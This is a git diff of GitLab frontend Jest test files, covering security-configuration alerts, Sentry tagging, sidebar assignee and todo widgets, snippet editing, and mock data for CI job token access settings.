+ describe('autoDevOpsAlert', () => {
+ describe('given the right props', () => {
+ beforeEach(() => {
+ createComponent({
+ augmentedSecurityFeatures: securityFeaturesMock,
+ augmentedComplianceFeatures: complianceFeaturesMock,
+ autoDevopsEnabled: false,
+ gitlabCiPresent: false,
+ canEnableAutoDevops: true,
+ });
+ });
+
+ it('should show AutoDevopsAlert', () => {
+ expect(findAutoDevopsAlert().exists()).toBe(true);
+ });
+
+ it('calls the dismiss callback when closing the AutoDevopsAlert', () => {
+ expect(userCalloutDismissSpy).not.toHaveBeenCalled();
+
+ findAutoDevopsAlert().vm.$emit('dismiss');
+
+ expect(userCalloutDismissSpy).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('given the wrong props', () => {
+ beforeEach(() => {
+ createComponent({
+ augmentedSecurityFeatures: securityFeaturesMock,
+ augmentedComplianceFeatures: complianceFeaturesMock,
+ });
+ });
+ it('should not show AutoDevopsAlert', () => {
+ expect(findAutoDevopsAlert().exists()).toBe(false);
+ });
+ });
+ });
+
describe('upgrade banner', () => {
const makeAvailable = (available) => (feature) => ({ ...feature, available });
@@ -193,9 +263,8 @@ describe('redesigned App component', () => {
it('should show latest pipeline info on the security tab with correct link when latestPipelinePath is defined', () => {
const latestPipelineInfoSecurity = findByTestId('latest-pipeline-info-security');
- expect(latestPipelineInfoSecurity.exists()).toBe(true);
expect(latestPipelineInfoSecurity.text()).toMatchInterpolatedText(
- i18n.securityTestingDescription,
+ i18n.latestPipelineDescription,
);
expect(latestPipelineInfoSecurity.find('a').attributes('href')).toBe('test/path');
});
@@ -203,9 +272,8 @@ describe('redesigned App component', () => {
it('should show latest pipeline info on the compliance tab with correct link when latestPipelinePath is defined', () => {
const latestPipelineInfoCompliance = findByTestId('latest-pipeline-info-compliance');
- expect(latestPipelineInfoCompliance.exists()).toBe(true);
expect(latestPipelineInfoCompliance.text()).toMatchInterpolatedText(
- i18n.securityTestingDescription,
+ i18n.latestPipelineDescription,
);
expect(latestPipelineInfoCompliance.find('a').attributes('href')).toBe('test/path');
});
@@ -217,7 +285,7 @@ describe('redesigned App component', () => {
augmentedSecurityFeatures: securityFeaturesMock,
augmentedComplianceFeatures: complianceFeaturesMock,
gitlabCiPresent: true,
- gitlabCiHistoryPath: 'test/historyPath',
+ gitlabCiHistoryPath,
});
});
diff --git a/spec/frontend/security_configuration/utils_spec.js b/spec/frontend/security_configuration/utils_spec.js
index 6ad167cadda..eaed4532baa 100644
--- a/spec/frontend/security_configuration/utils_spec.js
+++ b/spec/frontend/security_configuration/utils_spec.js
@@ -35,7 +35,15 @@ const mockValidCustomFeature = [
{
name: 'SAST',
type: 'SAST',
- customfield: 'customvalue',
+ customField: 'customvalue',
+ },
+];
+
+const mockValidCustomFeatureSnakeCase = [
+ {
+ name: 'SAST',
+ type: 'SAST',
+ custom_field: 'customvalue',
},
];
@@ -79,3 +87,15 @@ describe('returns an object with augmentedSecurityFeatures and augmentedComplian
).toEqual(expectedOutputCustomFeature);
});
});
+
+describe('returns an object with camelcased keys', () => {
+ it('given a customfeature in snakecase', () => {
+ expect(
+ augmentFeatures(
+ mockSecurityFeatures,
+ mockComplianceFeatures,
+ mockValidCustomFeatureSnakeCase,
+ ),
+ ).toEqual(expectedOutputCustomFeature);
+ });
+});
diff --git a/spec/frontend/sentry/index_spec.js b/spec/frontend/sentry/index_spec.js
index 13b9b9e909c..d1f098112e8 100644
--- a/spec/frontend/sentry/index_spec.js
+++ b/spec/frontend/sentry/index_spec.js
@@ -7,6 +7,8 @@ describe('SentryConfig options', () => {
const gitlabUrl = 'gitlabUrl';
const environment = 'test';
const revision = 'revision';
+ const featureCategory = 'my_feature_category';
+
let indexReturnValue;
beforeEach(() => {
@@ -16,6 +18,7 @@ describe('SentryConfig options', () => {
current_user_id: currentUserId,
gitlab_url: gitlabUrl,
revision,
+ feature_category: featureCategory,
};
process.env.HEAD_COMMIT_SHA = revision;
@@ -34,6 +37,7 @@ describe('SentryConfig options', () => {
release: revision,
tags: {
revision,
+ feature_category: featureCategory,
},
});
});
diff --git a/spec/frontend/sentry/sentry_config_spec.js b/spec/frontend/sentry/sentry_config_spec.js
index 1f5097ef2a8..9f67b681b8d 100644
--- a/spec/frontend/sentry/sentry_config_spec.js
+++ b/spec/frontend/sentry/sentry_config_spec.js
@@ -72,11 +72,13 @@ describe('SentryConfig', () => {
release: 'revision',
tags: {
revision: 'revision',
+ feature_category: 'my_feature_category',
},
};
beforeEach(() => {
jest.spyOn(Sentry, 'init').mockImplementation();
+ jest.spyOn(Sentry, 'setTags').mockImplementation();
sentryConfig.options = options;
sentryConfig.IGNORE_ERRORS = 'ignore_errors';
@@ -89,7 +91,6 @@ describe('SentryConfig', () => {
expect(Sentry.init).toHaveBeenCalledWith({
dsn: options.dsn,
release: options.release,
- tags: options.tags,
sampleRate: 0.95,
whitelistUrls: options.whitelistUrls,
environment: 'test',
@@ -98,6 +99,10 @@ describe('SentryConfig', () => {
});
});
+ it('should call Sentry.setTags', () => {
+ expect(Sentry.setTags).toHaveBeenCalledWith(options.tags);
+ });
+
it('should set environment from options', () => {
sentryConfig.options.environment = 'development';
@@ -106,7 +111,6 @@ describe('SentryConfig', () => {
expect(Sentry.init).toHaveBeenCalledWith({
dsn: options.dsn,
release: options.release,
- tags: options.tags,
sampleRate: 0.95,
whitelistUrls: options.whitelistUrls,
environment: 'development',
diff --git a/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap b/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
index 36f6746b754..53bef449c2f 100644
--- a/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
+++ b/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
@@ -3,7 +3,7 @@
exports[`EmptyStateComponent should render content 1`] = `
"<section class=\\"row empty-state text-center\\">
<div class=\\"col-12\\">
- <div class=\\"svg-250 svg-content\\"><img src=\\"/image.svg\\" alt=\\"\\" class=\\"gl-max-w-full\\"></div>
+ <div class=\\"svg-250 svg-content\\"><img src=\\"/image.svg\\" alt=\\"\\" role=\\"img\\" class=\\"gl-max-w-full\\"></div>
</div>
<div class=\\"col-12\\">
<div class=\\"text-content gl-mx-auto gl-my-0 gl-p-5\\">
diff --git a/spec/frontend/sidebar/components/assignees/collapsed_assignee_spec.js b/spec/frontend/sidebar/components/assignees/collapsed_assignee_spec.js
index b49e6255923..2d5a3653631 100644
--- a/spec/frontend/sidebar/components/assignees/collapsed_assignee_spec.js
+++ b/spec/frontend/sidebar/components/assignees/collapsed_assignee_spec.js
@@ -1,7 +1,6 @@
-import { shallowMount } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import AssigneeAvatar from '~/sidebar/components/assignees/assignee_avatar.vue';
import CollapsedAssignee from '~/sidebar/components/assignees/collapsed_assignee.vue';
-import UserNameWithStatus from '~/sidebar/components/assignees/user_name_with_status.vue';
import userDataMock from '../../user_data_mock';
const TEST_USER = userDataMock();
@@ -17,11 +16,8 @@ describe('CollapsedAssignee assignee component', () => {
...props,
};
- wrapper = shallowMount(CollapsedAssignee, {
+ wrapper = mount(CollapsedAssignee, {
propsData,
- stubs: {
- UserNameWithStatus,
- },
});
}
diff --git a/spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js b/spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js
index 0e052abffeb..8504684d23a 100644
--- a/spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js
+++ b/spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js
@@ -176,7 +176,7 @@ describe('Sidebar assignees widget', () => {
).toBe(true);
});
- it('emits an event with assignees list on successful mutation', async () => {
+ it('emits an event with assignees list and issuable id on successful mutation', async () => {
createComponent();
await waitForPromises();
@@ -193,18 +193,21 @@ describe('Sidebar assignees widget', () => {
expect(wrapper.emitted('assignees-updated')).toEqual([
[
- [
- {
- __typename: 'User',
- avatarUrl:
- 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
- id: 'gid://gitlab/User/1',
- name: 'Administrator',
- username: 'root',
- webUrl: '/root',
- status: null,
- },
- ],
+ {
+ assignees: [
+ {
+ __typename: 'User',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ id: 'gid://gitlab/User/1',
+ name: 'Administrator',
+ username: 'root',
+ webUrl: '/root',
+ status: null,
+ },
+ ],
+ id: 1,
+ },
],
]);
});
@@ -285,6 +288,21 @@ describe('Sidebar assignees widget', () => {
expect(updateIssueAssigneesMutationSuccess).not.toHaveBeenCalled();
expect(findUserSelect().isVisible()).toBe(true);
});
+
+ it('calls the mutation old issuable id if `iid` prop was changed', async () => {
+ findUserSelect().vm.$emit('input', [{ username: 'francina.skiles' }]);
+ wrapper.setProps({
+ iid: '2',
+ });
+ await nextTick();
+ findEditableItem().vm.$emit('close');
+
+ expect(updateIssueAssigneesMutationSuccess).toHaveBeenCalledWith({
+ assigneeUsernames: ['francina.skiles'],
+ fullPath: '/mygroup/myProject',
+ iid: '1',
+ });
+ });
});
it('shows an error if update assignees mutation is rejected', async () => {
diff --git a/spec/frontend/sidebar/components/assignees/user_name_with_status_spec.js b/spec/frontend/sidebar/components/assignees/user_name_with_status_spec.js
index 9483c6624c5..4dbf3d426bb 100644
--- a/spec/frontend/sidebar/components/assignees/user_name_with_status_spec.js
+++ b/spec/frontend/sidebar/components/assignees/user_name_with_status_spec.js
@@ -1,25 +1,21 @@
-import { GlSprintf } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import { AVAILABILITY_STATUS } from '~/set_status_modal/utils';
import UserNameWithStatus from '~/sidebar/components/assignees/user_name_with_status.vue';
-const name = 'Goku';
+const name = 'Administrator';
const containerClasses = 'gl-cool-class gl-over-9000';
describe('UserNameWithStatus', () => {
let wrapper;
function createComponent(props = {}) {
- return shallowMount(UserNameWithStatus, {
+ wrapper = mount(UserNameWithStatus, {
propsData: { name, containerClasses, ...props },
- stubs: {
- GlSprintf,
- },
});
}
beforeEach(() => {
- wrapper = createComponent();
+ createComponent();
});
afterEach(() => {
@@ -41,11 +37,39 @@ describe('UserNameWithStatus', () => {
describe(`with availability="${AVAILABILITY_STATUS.BUSY}"`, () => {
beforeEach(() => {
- wrapper = createComponent({ availability: AVAILABILITY_STATUS.BUSY });
+ createComponent({ availability: AVAILABILITY_STATUS.BUSY });
});
it('will render "Busy"', () => {
- expect(wrapper.html()).toContain('Goku (Busy)');
+ expect(wrapper.text()).toContain('(Busy)');
+ });
+ });
+
+ describe('when user has pronouns set', () => {
+ const pronouns = 'they/them';
+
+ beforeEach(() => {
+ createComponent({ pronouns });
+ });
+
+ it("renders user's name with pronouns", () => {
+ expect(wrapper.text()).toMatchInterpolatedText(`${name} (${pronouns})`);
+ });
+ });
+
+ describe('when user does not have pronouns set', () => {
+ describe.each`
+ pronouns
+ ${undefined}
+ ${null}
+ ${''}
+ ${' '}
+ `('when `pronouns` prop is $pronouns', ({ pronouns }) => {
+ it("renders only the user's name", () => {
+ createComponent({ pronouns });
+
+ expect(wrapper.text()).toMatchInterpolatedText(name);
+ });
});
});
});
diff --git a/spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js b/spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js
index 8d58854b013..f5e5ab4a984 100644
--- a/spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js
+++ b/spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js
@@ -451,8 +451,9 @@ describe('SidebarDropdownWidget', () => {
expect(projectMilestonesSpy).toHaveBeenNthCalledWith(1, {
fullPath: mockIssue.projectPath,
- title: '',
+ sort: null,
state: 'active',
+ title: '',
});
});
@@ -477,8 +478,9 @@ describe('SidebarDropdownWidget', () => {
expect(projectMilestonesSpy).toHaveBeenNthCalledWith(2, {
fullPath: mockIssue.projectPath,
- title: mockSearchTerm,
+ sort: null,
state: 'active',
+ title: mockSearchTerm,
});
});
});
diff --git a/spec/frontend/sidebar/components/todo_toggle/sidebar_todo_widget_spec.js b/spec/frontend/sidebar/components/todo_toggle/sidebar_todo_widget_spec.js
new file mode 100644
index 00000000000..23f1753c4bf
--- /dev/null
+++ b/spec/frontend/sidebar/components/todo_toggle/sidebar_todo_widget_spec.js
@@ -0,0 +1,126 @@
+import { GlIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import SidebarTodoWidget from '~/sidebar/components/todo_toggle/sidebar_todo_widget.vue';
+import epicTodoQuery from '~/sidebar/queries/epic_todo.query.graphql';
+import TodoButton from '~/vue_shared/components/sidebar/todo_toggle/todo_button.vue';
+import { todosResponse, noTodosResponse } from '../../mock_data';
+
+jest.mock('~/flash');
+
+Vue.use(VueApollo);
+
+describe('Sidebar Todo Widget', () => {
+ let wrapper;
+ let fakeApollo;
+
+ const findTodoButton = () => wrapper.findComponent(TodoButton);
+
+ const createComponent = ({
+ todosQueryHandler = jest.fn().mockResolvedValue(noTodosResponse),
+ } = {}) => {
+ fakeApollo = createMockApollo([[epicTodoQuery, todosQueryHandler]]);
+
+ wrapper = shallowMount(SidebarTodoWidget, {
+ apolloProvider: fakeApollo,
+ provide: {
+ canUpdate: true,
+ isClassicSidebar: true,
+ },
+ propsData: {
+ fullPath: 'group',
+ issuableIid: '1',
+ issuableId: 'gid://gitlab/Epic/4',
+ issuableType: 'epic',
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ fakeApollo = null;
+ });
+
+ describe('when user does not have a todo for the issuable', () => {
+ beforeEach(() => {
+ createComponent();
+ return waitForPromises();
+ });
+
+ it('passes false isTodo prop to Todo button component', () => {
+ expect(findTodoButton().props('isTodo')).toBe(false);
+ });
+
+ it('emits `todoUpdated` event with a `false` payload', () => {
+ expect(wrapper.emitted('todoUpdated')).toEqual([[false]]);
+ });
+ });
+
+ describe('when user has a todo for the issuable', () => {
+ beforeEach(() => {
+ createComponent({
+ todosQueryHandler: jest.fn().mockResolvedValue(todosResponse),
+ });
+ return waitForPromises();
+ });
+
+ it('passes true isTodo prop to Todo button component', () => {
+ expect(findTodoButton().props('isTodo')).toBe(true);
+ });
+
+ it('emits `todoUpdated` event with a `true` payload', () => {
+ expect(wrapper.emitted('todoUpdated')).toEqual([[true]]);
+ });
+ });
+
+ it('displays a flash message when query is rejected', async () => {
+ createComponent({
+ todosQueryHandler: jest.fn().mockRejectedValue('Houston, we have a problem'),
+ });
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalled();
+ });
+
+ describe('collapsed', () => {
+ const event = { stopPropagation: jest.fn(), preventDefault: jest.fn() };
+
+ beforeEach(() => {
+ createComponent({
+ todosQueryHandler: jest.fn().mockResolvedValue(noTodosResponse),
+ });
+ return waitForPromises();
+ });
+
+ it('shows add todo icon', () => {
+ expect(wrapper.find(GlIcon).exists()).toBe(true);
+
+ expect(wrapper.find(GlIcon).props('name')).toBe('todo-add');
+ });
+
+ it('sets default tooltip title', () => {
+ expect(wrapper.find(GlIcon).attributes('title')).toBe('Add a to do');
+ });
+
+ it('when user has a to do', async () => {
+ createComponent({
+ todosQueryHandler: jest.fn().mockResolvedValue(todosResponse),
+ });
+
+ await waitForPromises();
+ expect(wrapper.find(GlIcon).props('name')).toBe('todo-done');
+ expect(wrapper.find(GlIcon).attributes('title')).toBe('Mark as done');
+ });
+
+ it('emits `todoUpdated` event on click on icon', async () => {
+ wrapper.find(GlIcon).vm.$emit('click', event);
+
+ await wrapper.vm.$nextTick();
+ expect(wrapper.emitted('todoUpdated')).toEqual([[false]]);
+ });
+ });
+});
diff --git a/spec/frontend/sidebar/lock/edit_form_buttons_spec.js b/spec/frontend/sidebar/lock/edit_form_buttons_spec.js
index 49283ea99cf..1673425947e 100644
--- a/spec/frontend/sidebar/lock/edit_form_buttons_spec.js
+++ b/spec/frontend/sidebar/lock/edit_form_buttons_spec.js
@@ -1,5 +1,5 @@
import { mount } from '@vue/test-utils';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { createStore as createMrStore } from '~/mr_notes/stores';
import createStore from '~/notes/stores';
import EditFormButtons from '~/sidebar/components/lock/edit_form_buttons.vue';
@@ -130,7 +130,7 @@ describe('EditFormButtons', () => {
});
it('does not flash an error message', () => {
- expect(flash).not.toHaveBeenCalled();
+ expect(createFlash).not.toHaveBeenCalled();
});
});
@@ -165,9 +165,9 @@ describe('EditFormButtons', () => {
});
it('calls flash with the correct message', () => {
- expect(flash).toHaveBeenCalledWith(
- `Something went wrong trying to change the locked state of this ${issuableDisplayName}`,
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: `Something went wrong trying to change the locked state of this ${issuableDisplayName}`,
+ });
});
});
});
diff --git a/spec/frontend/sidebar/mock_data.js b/spec/frontend/sidebar/mock_data.js
index d6287b93fb9..9fab24d7518 100644
--- a/spec/frontend/sidebar/mock_data.js
+++ b/spec/frontend/sidebar/mock_data.js
@@ -530,6 +530,7 @@ export const mockMilestone1 = {
title: 'Foobar Milestone',
webUrl: 'http://gdk.test:3000/groups/gitlab-org/-/milestones/1',
state: 'active',
+ expired: false,
};
export const mockMilestone2 = {
@@ -538,6 +539,7 @@ export const mockMilestone2 = {
title: 'Awesome Milestone',
webUrl: 'http://gdk.test:3000/groups/gitlab-org/-/milestones/2',
state: 'active',
+ expired: false,
};
export const mockProjectMilestonesResponse = {
@@ -571,6 +573,7 @@ export const mockMilestoneMutationResponse = {
id: 'gid://gitlab/Milestone/2',
title: 'Awesome Milestone',
state: 'active',
+ expired: false,
__typename: 'Milestone',
},
__typename: 'Issue',
@@ -609,4 +612,38 @@ export const issuableTimeTrackingResponse = {
},
};
+export const todosResponse = {
+ data: {
+ workspace: {
+ __typename: 'Group',
+ issuable: {
+ __typename: 'Epic',
+ id: 'gid://gitlab/Epic/4',
+ currentUserTodos: {
+ nodes: [
+ {
+ id: 'gid://gitlab/Todo/433',
+ },
+ ],
+ },
+ },
+ },
+ },
+};
+
+export const noTodosResponse = {
+ data: {
+ workspace: {
+ __typename: 'Group',
+ issuable: {
+ __typename: 'Epic',
+ id: 'gid://gitlab/Epic/4',
+ currentUserTodos: {
+ nodes: [],
+ },
+ },
+ },
+ },
+};
+
export default mockData;
diff --git a/spec/frontend/sidebar/sidebar_move_issue_spec.js b/spec/frontend/sidebar/sidebar_move_issue_spec.js
index 6a7758ace40..d9972ae75c3 100644
--- a/spec/frontend/sidebar/sidebar_move_issue_spec.js
+++ b/spec/frontend/sidebar/sidebar_move_issue_spec.js
@@ -1,5 +1,6 @@
import MockAdapter from 'axios-mock-adapter';
import $ from 'jquery';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import SidebarMoveIssue from '~/sidebar/lib/sidebar_move_issue';
import SidebarService from '~/sidebar/services/sidebar_service';
@@ -7,6 +8,8 @@ import SidebarMediator from '~/sidebar/sidebar_mediator';
import SidebarStore from '~/sidebar/stores/sidebar_store';
import Mock from './mock_data';
+jest.mock('~/flash');
+
describe('SidebarMoveIssue', () => {
let mock;
const test = {};
@@ -99,7 +102,6 @@ describe('SidebarMoveIssue', () => {
});
it('should remove loading state from confirm button on failure', (done) => {
- jest.spyOn(window, 'Flash').mockImplementation(() => {});
jest.spyOn(test.mediator, 'moveIssue').mockReturnValue(Promise.reject());
test.mediator.setMoveToProjectId(7);
@@ -108,7 +110,7 @@ describe('SidebarMoveIssue', () => {
expect(test.mediator.moveIssue).toHaveBeenCalled();
// Wait for the move issue request to fail
setImmediate(() => {
- expect(window.Flash).toHaveBeenCalled();
+ expect(createFlash).toHaveBeenCalled();
expect(test.$confirmButton.prop('disabled')).toBeFalsy();
expect(test.$confirmButton.hasClass('is-loading')).toBe(false);
done();
diff --git a/spec/frontend/snippets/components/__snapshots__/snippet_blob_edit_spec.js.snap b/spec/frontend/snippets/components/__snapshots__/snippet_blob_edit_spec.js.snap
index b0c253bca65..e12255fe825 100644
--- a/spec/frontend/snippets/components/__snapshots__/snippet_blob_edit_spec.js.snap
+++ b/spec/frontend/snippets/components/__snapshots__/snippet_blob_edit_spec.js.snap
@@ -13,7 +13,7 @@ exports[`Snippet Blob Edit component with loaded blob matches snapshot 1`] = `
value="foo/bar/test.md"
/>
- <editor-lite-stub
+ <source-editor-stub
editoroptions="[object Object]"
fileglobalid="blob_local_7"
filename="foo/bar/test.md"
diff --git a/spec/frontend/snippets/components/edit_spec.js b/spec/frontend/snippets/components/edit_spec.js
index efdb52cfcd9..4e88ab9504e 100644
--- a/spec/frontend/snippets/components/edit_spec.js
+++ b/spec/frontend/snippets/components/edit_spec.js
@@ -7,8 +7,7 @@ import { useFakeDate } from 'helpers/fake_date';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import GetSnippetQuery from 'shared_queries/snippet/snippet.query.graphql';
-import UnsolvedCaptchaError from '~/captcha/unsolved_captcha_error';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import * as urlUtils from '~/lib/utils/url_utility';
import SnippetEditApp from '~/snippets/components/edit.vue';
import SnippetBlobActionsEdit from '~/snippets/components/snippet_blob_actions_edit.vue';
@@ -29,7 +28,6 @@ jest.mock('~/flash');
const TEST_UPLOADED_FILES = ['foo/bar.txt', 'alpha/beta.js'];
const TEST_API_ERROR = new Error('TEST_API_ERROR');
-const TEST_CAPTCHA_ERROR = new UnsolvedCaptchaError();
const TEST_MUTATION_ERROR = 'Test mutation error';
const TEST_ACTIONS = {
NO_CONTENT: merge({}, testEntries.created.diff, { content: '' }),
@@ -319,14 +317,16 @@ describe('Snippet Edit app', () => {
});
expect(urlUtils.redirectTo).not.toHaveBeenCalled();
- expect(Flash).toHaveBeenCalledWith(expectMessage);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: expectMessage,
+ });
},
);
- describe.each([TEST_API_ERROR, TEST_CAPTCHA_ERROR])('with apollo network error', (error) => {
+ describe('with apollo network error', () => {
beforeEach(async () => {
jest.spyOn(console, 'error').mockImplementation();
- mutateSpy.mockRejectedValue(error);
+ mutateSpy.mockRejectedValue(TEST_API_ERROR);
await createComponentAndSubmit();
});
@@ -337,9 +337,9 @@ describe('Snippet Edit app', () => {
it('should flash', () => {
// Apollo automatically wraps the resolver's error in a NetworkError
- expect(Flash).toHaveBeenCalledWith(
- `Can't update snippet: Network error: ${error.message}`,
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: `Can't update snippet: Network error: ${TEST_API_ERROR.message}`,
+ });
});
it('should console error', () => {
@@ -348,7 +348,7 @@ describe('Snippet Edit app', () => {
// eslint-disable-next-line no-console
expect(console.error).toHaveBeenCalledWith(
'[gitlab] unexpected error while updating snippet',
- expect.objectContaining({ message: `Network error: ${error.message}` }),
+ expect.objectContaining({ message: `Network error: ${TEST_API_ERROR.message}` }),
);
});
});
diff --git a/spec/frontend/snippets/components/snippet_blob_edit_spec.js b/spec/frontend/snippets/components/snippet_blob_edit_spec.js
index 4b3b21c5507..7ea27864519 100644
--- a/spec/frontend/snippets/components/snippet_blob_edit_spec.js
+++ b/spec/frontend/snippets/components/snippet_blob_edit_spec.js
@@ -8,7 +8,7 @@ import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { joinPaths } from '~/lib/utils/url_utility';
import SnippetBlobEdit from '~/snippets/components/snippet_blob_edit.vue';
-import EditorLite from '~/vue_shared/components/editor_lite.vue';
+import SourceEditor from '~/vue_shared/components/source_editor.vue';
jest.mock('~/flash');
@@ -48,7 +48,7 @@ describe('Snippet Blob Edit component', () => {
const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
const findHeader = () => wrapper.find(BlobHeaderEdit);
- const findContent = () => wrapper.find(EditorLite);
+ const findContent = () => wrapper.find(SourceEditor);
const getLastUpdatedArgs = () => {
const event = wrapper.emitted()['blob-updated'];
diff --git a/spec/frontend/static_site_editor/services/submit_content_changes_spec.js b/spec/frontend/static_site_editor/services/submit_content_changes_spec.js
index d9bceb76a37..757611166d7 100644
--- a/spec/frontend/static_site_editor/services/submit_content_changes_spec.js
+++ b/spec/frontend/static_site_editor/services/submit_content_changes_spec.js
@@ -8,8 +8,8 @@ import {
SUBMIT_CHANGES_MERGE_REQUEST_ERROR,
TRACKING_ACTION_CREATE_COMMIT,
TRACKING_ACTION_CREATE_MERGE_REQUEST,
- USAGE_PING_TRACKING_ACTION_CREATE_COMMIT,
- USAGE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST,
+ SERVICE_PING_TRACKING_ACTION_CREATE_COMMIT,
+ SERVICE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST,
DEFAULT_FORMATTING_CHANGES_COMMIT_MESSAGE,
DEFAULT_FORMATTING_CHANGES_COMMIT_DESCRIPTION,
} from '~/static_site_editor/constants';
@@ -237,7 +237,7 @@ describe('submitContentChanges', () => {
});
});
- describe('sends the correct Usage Ping tracking event', () => {
+ describe('sends the correct Service Ping tracking event', () => {
beforeEach(() => {
jest.spyOn(Api, 'trackRedisCounterEvent').mockResolvedValue({ data: '' });
});
@@ -245,7 +245,7 @@ describe('submitContentChanges', () => {
it('for commiting changes', () => {
return submitContentChanges(buildPayload()).then(() => {
expect(Api.trackRedisCounterEvent).toHaveBeenCalledWith(
- USAGE_PING_TRACKING_ACTION_CREATE_COMMIT,
+ SERVICE_PING_TRACKING_ACTION_CREATE_COMMIT,
);
});
});
@@ -253,7 +253,7 @@ describe('submitContentChanges', () => {
it('for creating a merge request', () => {
return submitContentChanges(buildPayload()).then(() => {
expect(Api.trackRedisCounterEvent).toHaveBeenCalledWith(
- USAGE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST,
+ SERVICE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST,
);
});
});
diff --git a/spec/frontend/terraform/components/terraform_list_spec.js b/spec/frontend/terraform/components/terraform_list_spec.js
index 882b7b55b3e..c622f86072d 100644
--- a/spec/frontend/terraform/components/terraform_list_spec.js
+++ b/spec/frontend/terraform/components/terraform_list_spec.js
@@ -47,6 +47,9 @@ describe('TerraformList', () => {
localVue,
apolloProvider,
propsData,
+ stubs: {
+ GlTab,
+ },
});
};
diff --git a/spec/frontend/token_access/mock_data.js b/spec/frontend/token_access/mock_data.js
new file mode 100644
index 00000000000..14d7b00cb6d
--- /dev/null
+++ b/spec/frontend/token_access/mock_data.js
@@ -0,0 +1,84 @@
+export const enabledJobTokenScope = {
+ data: {
+ project: {
+ ciCdSettings: {
+ jobTokenScopeEnabled: true,
+ __typename: 'ProjectCiCdSetting',
+ },
+ __typename: 'Project',
+ },
+ },
+};
+
+export const disabledJobTokenScope = {
+ data: {
+ project: {
+ ciCdSettings: {
+ jobTokenScopeEnabled: false,
+ __typename: 'ProjectCiCdSetting',
+ },
+ __typename: 'Project',
+ },
+ },
+};
+
+export const updateJobTokenScope = {
+ data: {
+ ciCdSettingsUpdate: {
+ ciCdSettings: {
+ jobTokenScopeEnabled: true,
+ __typename: 'ProjectCiCdSetting',
+ },
+ errors: [],
+ __typename: 'CiCdSettingsUpdatePayload',
+ },
+ },
+};
+
+export const projectsWithScope = {
+ data: {
+ project: {
+ __typename: 'Project',
+ ciJobTokenScope: {
+ __typename: 'CiJobTokenScopeType',
+ projects: {
+ __typename: 'ProjectConnection',
+ nodes: [
+ {
+ fullPath: 'root/332268-test',
+ name: 'root/332268-test',
+ },
+ ],
+ },
+ },
+ },
+ },
+};
+
+export const addProjectSuccess = {
+ data: {
+ ciJobTokenScopeAddProject: {
+ errors: [],
+ __typename: 'CiJobTokenScopeAddProjectPayload',
+ },
+ },
+};
+
+export const removeProjectSuccess = {
+ data: {
+ ciJobTokenScopeRemoveProject: {
+ errors: [],
+ __typename: 'CiJobTokenScopeRemoveProjectPayload',
+ },
+ },
+};
+
+export const mockProjects = [
+ {
+ name: 'merge-train-stuff',
+ fullPath: 'root/merge-train-stuff',
+ isLocked: false,
+ __typename: 'Project',
+ },
+ { name: 'ci-project', fullPath: 'root/ci-project', isLocked: true, __typename: 'Project' },
+];
diff --git a/spec/frontend/token_access/token_access_spec.js b/spec/frontend/token_access/token_access_spec.js
new file mode 100644
index 00000000000..c7323eb19fe
--- /dev/null
+++ b/spec/frontend/token_access/token_access_spec.js
@@ -0,0 +1,218 @@
+import { GlToggle, GlLoadingIcon } from '@gitlab/ui';
+import { createLocalVue, shallowMount, mount } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import TokenAccess from '~/token_access/components/token_access.vue';
+import addProjectCIJobTokenScopeMutation from '~/token_access/graphql/mutations/add_project_ci_job_token_scope.mutation.graphql';
+import removeProjectCIJobTokenScopeMutation from '~/token_access/graphql/mutations/remove_project_ci_job_token_scope.mutation.graphql';
+import updateCIJobTokenScopeMutation from '~/token_access/graphql/mutations/update_ci_job_token_scope.mutation.graphql';
+import getCIJobTokenScopeQuery from '~/token_access/graphql/queries/get_ci_job_token_scope.query.graphql';
+import getProjectsWithCIJobTokenScopeQuery from '~/token_access/graphql/queries/get_projects_with_ci_job_token_scope.query.graphql';
+import {
+ enabledJobTokenScope,
+ disabledJobTokenScope,
+ updateJobTokenScope,
+ projectsWithScope,
+ addProjectSuccess,
+ removeProjectSuccess,
+} from './mock_data';
+
+const projectPath = 'root/my-repo';
+const error = new Error('Error');
+const localVue = createLocalVue();
